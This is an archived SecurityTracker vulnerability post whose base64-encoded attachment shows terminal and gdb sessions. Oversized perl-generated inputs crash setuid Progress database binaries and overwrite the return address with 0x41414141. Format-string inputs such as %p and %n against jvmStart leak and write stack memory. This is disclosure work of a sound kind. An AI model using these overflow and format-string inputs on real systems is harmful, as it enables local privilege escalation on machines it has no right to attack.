cm9vdF0jIC91c3IvZGxjL2Jpbi9fbXByc2h1dCBgcGVybCAtZSAncHJpbnQgIkEiIHggMzAw
J2AgLU4gYHBlcmwgLWUgJ3ByaW50ICJBIiB4IDMwMCdgIC1OIGBwZXJsIC1lICdwcmludCAi
QSIgeCAzMDAnYAoqKiBZb3VyIGRhdGFiYXNlIG5hbWUgaXMgbG9uZ2VyIHRoYW4gMTEgY2hh
cmFjdGVycy4gKDQ0OCkKKiogQ2Fubm90IGZpbmQgb3Igb3BlbiBmaWxlIC9yb290L0FBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQSwgZXJybm8KPSAzNi4gKDQzKQpTWVNURU0gRVJST1I6IE1l
bW9yeSB2aW9sYXRpb24uICg0OSkKKiogU2F2ZSBmaWxlIG5hbWVkIGNvcmUgZm9yIGFuYWx5
c2lzIGJ5IFByb2dyZXNzIFNvZnR3YXJlIENvcnBvcmF0aW9uLiAoNDM5KQpRdWl0IChjb3Jl
IGR1bXBlZCkKCltyb290QGxpbnV4IHBhdGNoXSMgICRETEMvYmluL29yYXJ4IC1TIGBwZXJs
IC1lICdwcmludCAiQSIgeCA4MDAwMCdgCklucHV0IGNvbW1hbmQgbGluZSB0cnVuY2F0ZWQg
YXQgMTAyNCBieXRlcy4KU1lTVEVNIEVSUk9SOiBzdHJlbnQgcmVxdWVzdCBmb3IgbW9yZSB0
aGFuIDMySy4gKDg5MykKKiogU2F2ZSBmaWxlIG5hbWVkIGNvcmUgZm9yIGFuYWx5c2lzIGJ5
IFByb2dyZXNzIFNvZnR3YXJlIENvcnBvcmF0aW9uLgooNDM5KQpRdWl0IChjb3JlIGR1bXBl
ZCkKCgpbcm9vdEBsaW51eCBiaW5dIyAuL3NxbGNwcCBgcGVybCAtZSAncHJpbnQgIkEiIHgg
NzAwMCdgClNlZ21lbnRhdGlvbiBmYXVsdAoKW3Jvb3RAbGludXggYmluXSMgZ2RiIC4vc3Fs
Y3BwCkdOVSBnZGIgNS4wbWRrLTExbWRrIExpbnV4LU1hbmRyYWtlIDguMApUaGlzIEdEQiB3
YXMgY29uZmlndXJlZCBhcyAiaTM4Ni1tYW5kcmFrZS1saW51eCIuLi4KKGdkYikgcnVuIGBw
ZXJsIC1lICdwcmludCAiQSIgeCA3MDAwJ2AKU3RhcnRpbmcgcHJvZ3JhbTogL2hvbWUvZWxn
dWFwby9wYXRjaC9iaW4vLi9zcWxjcHAgYHBlcmwgLWUgJ3ByaW50ICJBIiB4NzAwMCdgCiAK
UHJvZ3JhbSByZWNlaXZlZCBzaWduYWwgU0lHU0VHViwgU2VnbWVudGF0aW9uIGZhdWx0Lgow
eDA4MWVmZmMwIGluIHBfc3Rjb3B5ICgpCihnZGIpIGJ0CiMwICAweDA4MWVmZmMwIGluIHBf
c3Rjb3B5ICgpCiMxICAweDA4MGFlYTYwIGluIHNxbHBwZ2RzdCAoKQojMiAgMHg0MTQxNDE0
MSBpbiA/PyAoKQpDYW5ub3QgYWNjZXNzIG1lbW9yeSBhdCBhZGRyZXNzIDB4NDE0MTQxNDEg
ICAKCltyb290QGxpbnV4IGJpbl0jIC4vX3Byb2Jya3IgLVMgYHBlcmwgLWUgJ3ByaW50ICJB
IiB4IDg3MDAwJ2AKMDM6MTQ6MjggSW5wdXQgY29tbWFuZCBsaW5lIHRydW5jYXRlZCBhdCAx
MDI0IGJ5dGVzLgpQUk9HUkVTUyBzdGFjayB0cmFjZSBhcyBvZgogClBST0dSRVNTIHN0YWNr
IHRyYWNlIGFzIG9mCiAKUFJPR1JFU1Mgc3RhY2sgdHJhY2UgYXMgb2YKIApQUk9HUkVTUyBz
dGFjayB0cmFjZSBhcyBvZgogClBST0dSRVNTIHN0YWNrIHRyYWNlIGFzIG9mCiAKUFJPR1JF
U1Mgc3RhY2sgdHJhY2UgYXMgb2YKIApQUk9HUkVTUyBzdGFjayB0cmFjZSBhcyBvZgogClBS
T0dSRVNTIHN0YWNrIHRyYWNlIGFzIG9mCiAKUFJPR1JFU1Mgc3RhY2sgdHJhY2UgYXMgb2YK
IApQUk9HUkVTUyBzdGFjayB0cmFjZSBhcyBvZiAKLi4uIChydW5zIGZvcmV2ZXIpClNlZ21l
bnRhdGlvbiBmYXVsdAoKW3Jvb3RAbGludXggYmluXSMgLi9fc3Fsc2NoZW1hIGBwZXJsIC1l
ICdwcmludCAiQSIgeCA4NzAwMCdgClBhc3N3b3JkIGZvciByb290IHRvIGFjY2VzcwpBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEKLi4uOgpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQToKU2VnbWVudGF0aW9uIGZhdWx0IChjb3JlIGR1bXBlZCkKCltyb290
QGxpbnV4IGJpbl0jIGdkYiAuL19zcWxzY2hlbWEgY29yZQpHTlUgZ2RiIDUuMG1kay0xMW1k
ayBMaW51eC1NYW5kcmFrZSA4LjAKClRoaXMgR0RCIHdhcyBjb25maWd1cmVkIGFzICJpMzg2
LW1hbmRyYWtlLWxpbnV4Ii4uLgpDb3JlIHdhcyBnZW5lcmF0ZWQgYnkKYEFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUEnLgpQcm9ncmFtIHRlcm1pbmF0ZWQgd2l0aCBzaWduYWwgMTEsIFNl
Z21lbnRhdGlvbiBmYXVsdC4KUmVhZGluZyBzeW1ib2xzIGZyb20gL3Vzci9kbGMvbGliL2xp
YnNxbC5zby4uLmRvbmUuCkxvYWRlZCBzeW1ib2xzIGZvciAvdXNyL2RsYy9saWIvbGlic3Fs
LnNvClJlYWRpbmcgc3ltYm9scyBmcm9tIC91c3IvZGxjL2xpYi9saWJzbncuc28uLi5kb25l
LgpMb2FkZWQgc3ltYm9scyBmb3IgL3Vzci9kbGMvbGliL2xpYnNudy5zbwpSZWFkaW5nIHN5
bWJvbHMgZnJvbSAvdXNyL2RsYy9saWIvbGliZ2VuZXJpYy5zby4uLmRvbmUuCkxvYWRlZCBz
eW1ib2xzIGZvciAvdXNyL2RsYy9saWIvbGliZ2VuZXJpYy5zbwpSZWFkaW5nIHN5bWJvbHMg
ZnJvbSAvdXNyL2RsYy9saWIvbGliZW52LnNvLi4uZG9uZS4KTG9hZGVkIHN5bWJvbHMgZm9y
IC91c3IvZGxjL2xpYi9saWJlbnYuc28KUmVhZGluZyBzeW1ib2xzIGZyb20gL3Vzci9kbGMv
bGliL2xpYmVyci5zby4uLmRvbmUuCkxvYWRlZCBzeW1ib2xzIGZvciAvdXNyL2RsYy9saWIv
bGliZXJyLnNvClJlYWRpbmcgc3ltYm9scyBmcm9tIC91c3IvZGxjL2xpYi9saWJvcy5zby4u
LmRvbmUuCkxvYWRlZCBzeW1ib2xzIGZvciAvdXNyL2RsYy9saWIvbGlib3Muc28KUmVhZGlu
ZyBzeW1ib2xzIGZyb20gL3Vzci9kbGMvbGliL2xpYnJkc20uc28uLi5kb25lLgpMb2FkZWQg
c3ltYm9scyBmb3IgL3Vzci9kbGMvbGliL2xpYnJkc20uc28KUmVhZGluZyBzeW1ib2xzIGZy
b20gL3Vzci9kbGMvbGliL2xpYmR0LnNvLi4uZG9uZS4KTG9hZGVkIHN5bWJvbHMgZm9yIC91
c3IvZGxjL2xpYi9saWJkdC5zbwpSZWFkaW5nIHN5bWJvbHMgZnJvbSAvdXNyL2RsYy9saWIv
bGlicGZlLnNvLi4uZG9uZS4KTG9hZGVkIHN5bWJvbHMgZm9yIC91c3IvZGxjL2xpYi9saWJw
ZmUuc28KUmVhZGluZyBzeW1ib2xzIGZyb20gL3Vzci9kbGMvbGliL2xpYnJzcy5zby4uLmRv
bmUuCkxvYWRlZCBzeW1ib2xzIGZvciAvdXNyL2RsYy9saWIvbGlicnNzLnNvClJlYWRpbmcg
c3ltYm9scyBmcm9tIC91c3IvZGxjL2xpYi9saWJzdHVicy5zby4uLmRvbmUuCkxvYWRlZCBz
eW1ib2xzIGZvciAvdXNyL2RsYy9saWIvbGlic3R1YnMuc28KUmVhZGluZyBzeW1ib2xzIGZy
b20gL3Vzci9kbGMvbGliL2xpYm1tLnNvLi4uZG9uZS4KTG9hZGVkIHN5bWJvbHMgZm9yIC91
c3IvZGxjL2xpYi9saWJtbS5zbwpSZWFkaW5nIHN5bWJvbHMgZnJvbSAvdXNyL2RsYy9saWIv
bGlicm9ja2V0LnNvLi4uZG9uZS4KTG9hZGVkIHN5bWJvbHMgZm9yIC91c3IvZGxjL2xpYi9s
aWJyb2NrZXQuc28KLS0tVHlwZSA8cmV0dXJuPiB0byBjb250aW51ZSwgb3IgcSA8cmV0dXJu
PiB0byBxdWl0LS0tClJlYWRpbmcgc3ltYm9scyBmcm9tIC91c3IvZGxjL2xpYi9saWJwcm9u
bHMuc28uLi5kb25lLgpMb2FkZWQgc3ltYm9scyBmb3IgL3Vzci9kbGMvbGliL2xpYnByb25s
cy5zbwpSZWFkaW5nIHN5bWJvbHMgZnJvbSAvbGliL2xpYnB0aHJlYWQuc28uMC4uLmRvbmUu
Cgp3YXJuaW5nOiBVbmFibGUgdG8gc2V0IGdsb2JhbCB0aHJlYWQgZXZlbnQgbWFzazogZ2Vu
ZXJpYyBlcnJvcgpbTmV3IFRocmVhZCAxMDI0IChMV1AgNjU1MyldCkVycm9yIHdoaWxlIHJl
YWRpbmcgc2hhcmVkIGxpYnJhcnkgc3ltYm9sczoKQ2Fubm90IGVuYWJsZSB0aHJlYWQgZXZl
bnQgcmVwb3J0aW5nIGZvciBUaHJlYWQgMTAyNCAoTFdQIDY1NTMpOiBnZW5lcmljCmVycm9y
ClJlYWRpbmcgc3ltYm9scyBmcm9tIC9saWIvbGliY3J5cHQuc28uMS4uLmRvbmUuCkxvYWRl
ZCBzeW1ib2xzIGZvciAvbGliL2xpYmNyeXB0LnNvLjEKUmVhZGluZyBzeW1ib2xzIGZyb20g
L2xpYi9saWJkbC5zby4yLi4uZG9uZS4KTG9hZGVkIHN5bWJvbHMgZm9yIC9saWIvbGliZGwu
c28uMgpSZWFkaW5nIHN5bWJvbHMgZnJvbSAvbGliL2xpYm0uc28uNi4uLmRvbmUuCkxvYWRl
ZCBzeW1ib2xzIGZvciAvbGliL2xpYm0uc28uNgpSZWFkaW5nIHN5bWJvbHMgZnJvbSAvbGli
L2xpYmMuc28uNi4uLmRvbmUuCkxvYWRlZCBzeW1ib2xzIGZvciAvbGliL2xpYmMuc28uNgpS
ZWFkaW5nIHN5bWJvbHMgZnJvbSAvdXNyL2RsYy9saWIvbGlidXNvcnQuc28uLi5kb25lLgpM
b2FkZWQgc3ltYm9scyBmb3IgL3Vzci9kbGMvbGliL2xpYnVzb3J0LnNvClJlYWRpbmcgc3lt
Ym9scyBmcm9tIC9saWIvbGQtbGludXguc28uMi4uLmRvbmUuCkxvYWRlZCBzeW1ib2xzIGZv
ciAvbGliL2xkLWxpbnV4LnNvLjIKUmVhZGluZyBzeW1ib2xzIGZyb20gL2xpYi9saWJuc3Nf
ZmlsZXMuc28uMi4uLmRvbmUuCkxvYWRlZCBzeW1ib2xzIGZvciAvbGliL2xpYm5zc19maWxl
cy5zby4yCiMwICAweDQwOThjOTg0IGluIHN0cmNweSAoKSBmcm9tIC9saWIvbGliYy5zby42
CihnZGIpIGJ0CiMwICAweDQwOThjOTg0IGluIHN0cmNweSAoKSBmcm9tIC9saWIvbGliYy5z
by42CiMxICAweDA4MDdkNzc4IGluIF9fRFRPUl9FTkRfXyAoKQojMiAgMHg0MDExMTI4NCBp
biB0cGVfZ2V0X2N1cl91c2VycHcgKCkgZnJvbSAvdXNyL2RsYy9saWIvbGlib3Muc28KIzMg
IDB4NDE0MTQxNDEgaW4gPz8gKCkKRXJyb3IgYWNjZXNzaW5nIG1lbW9yeSBhZGRyZXNzIDB4
NDE0MTQxNDE6IE5vIHN1Y2ggcHJvY2Vzcy4KKGdkYikKCgpbcm9vdEBsaW51eCBiaW5dIyAu
L19zcWxkdW1wIGBwZXJsIC1lICdwcmludCAiQSIgeCA4NzAwMCdgIHlhbW9tClNlZ21lbnRh
dGlvbiBmYXVsdCAoY29yZSBkdW1wZWQpCi4uLgoKKGdkYikgYnQKIzAgIDB4NDA5MzdiNjYg
aW4gZ2V0ZW52ICgpIGZyb20gL2xpYi9saWJjLnNvLjYKIzEgIDB4NDA5ODViYjMgaW4gX0lP
X2ZpbGVfY2xvc2VfaXQgKCkgZnJvbSAvbGliL2xpYmMuc28uNgojMiAgMHg0MDk4YTFmNSBp
biBtYWxsb3B0ICgpIGZyb20gL2xpYi9saWJjLnNvLjYKIzMgIDB4NDA5ODYxNmQgaW4gbWFs
bG9jICgpIGZyb20gL2xpYi9saWJjLnNvLjYKIzQgIDB4NDA5YzA3MTcgaW4gZ2V0cHd1aWQg
KCkgZnJvbSAvbGliL2xpYmMuc28uNgojNSAgMHg0MDExM2IyMSBpbiBvc19nZXRwd25hbWUg
KCkgZnJvbSAvdXNyL2RsYy9saWIvbGlib3Muc28KIzYgIDB4NDAxMTExMjYgaW4gdHBlX2dl
dF9jdXJfdXNlciAoKSBmcm9tIC91c3IvZGxjL2xpYi9saWJvcy5zbwojNyAgMHgwODA0ZGM0
MSBpbiBkZF9nZXRhcmdzICgpCiM4ICAweDA4MDRkZTA2IGluIG1haW4gKCkKIzkgIDB4NDE0
MTQxNDEgaW4gPz8gKCkKRXJyb3IgYWNjZXNzaW5nIG1lbW9yeSBhZGRyZXNzIDB4NDE0MTQx
NDE6IE5vIHN1Y2ggcHJvY2Vzcy4KCgoKQW5kIGFzIGEgc2lkZSBub3RlIHRoZXJlIGlzIG9u
ZSBtb3JlIHNlY3VyaXR5IGJ1ZyB5b3UgbmVlZCB0byBpbnZlc3RpZ2F0ZS4uLiBmb3JtYXQg
c3RyaW5ncyBhYnVzZS4uLgpJIGhhdmUgeWV0IHRvIGZpbmQgb25lIGluIGEgc3VpZCBwcm9n
cmFtIGJ1dC4uLiBvbmUgdGhhdCBpcyBjYWxsZWQgZnJvbSBhIHN1aWQgbG9jYXRpb24gaXMg
anVzdCBhcyBiYWQuLi4gCmp2bVN0YXJ0IGFscmVhZHkgaGFzIGJ1ZmZlcm92ZXJmbG93IGlz
c3Vlcy4uLiBvbiB0b3Agb2YgdGhhdCBpdHMgZ290IGZvcm1hdCBzdHJpbmdzIHZ1bG5lcmFi
aWxpdGllcy4gCltyb290QGxpbnV4IGVsZ3VhcG9dIyBleHBvcnQgRExDPS8KW3Jvb3RAbGlu
dXggZWxndWFwb10jIGV4cG9ydCBKUkVIT01FPS8KW3Jvb3RAbGludXggZWxndWFwb10jIC91
c3IvZGxjL2Jpbi9qdm1TdGFydCAlcCwlcCwlcCwlcCwlcApjb21wbGV0ZWQKRXJyb3IgcGFy
c2luZyBmaWxlIHRvIGV4ZWN1dGU6ICgweGJmZmZmMDcwLDB4ODA0ZGQ0MCwweDgwNTViMDgs
MHg4MDRlMjljLDB4ODA0ZjQ4MCkKRXJyb3Igc3RhcnRpbmcgSlZNLCBlcnJvciAyMi4KCm5v
dGUgdGhlIG5pY2UgbWVtb3J5IGxvY2F0aW9ucyAuLi4KCndlIGNhbiBjYXVlIGNvcmUgZWFz
aWx5IApbcm9vdEBsaW51eCBlbGd1YXBvXSMgL3Vzci9kbGMvYmluL2p2bVN0YXJ0ICVzJXMl
cwpjb21wbGV0ZWQKU2VnbWVudGF0aW9uIGZhdWx0IChjb3JlIGR1bXBlZCkKCmFuZCB3cml0
ZSBhbnkgZGF0YSB3ZSB3YW50IHRvIHRoZSBzdGFjayB3aXRoICVuCltyb290QGxpbnV4IGVs
Z3VhcG9dIyAvdXNyL2RsYy9iaW4vanZtU3RhcnQgJXMlbgpjb21wbGV0ZWQKU2VnbWVudGF0
aW9uIGZhdWx0IChjb3JlIGR1bXBlZCkK
--------------AE290C98C65F582C68283768--

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC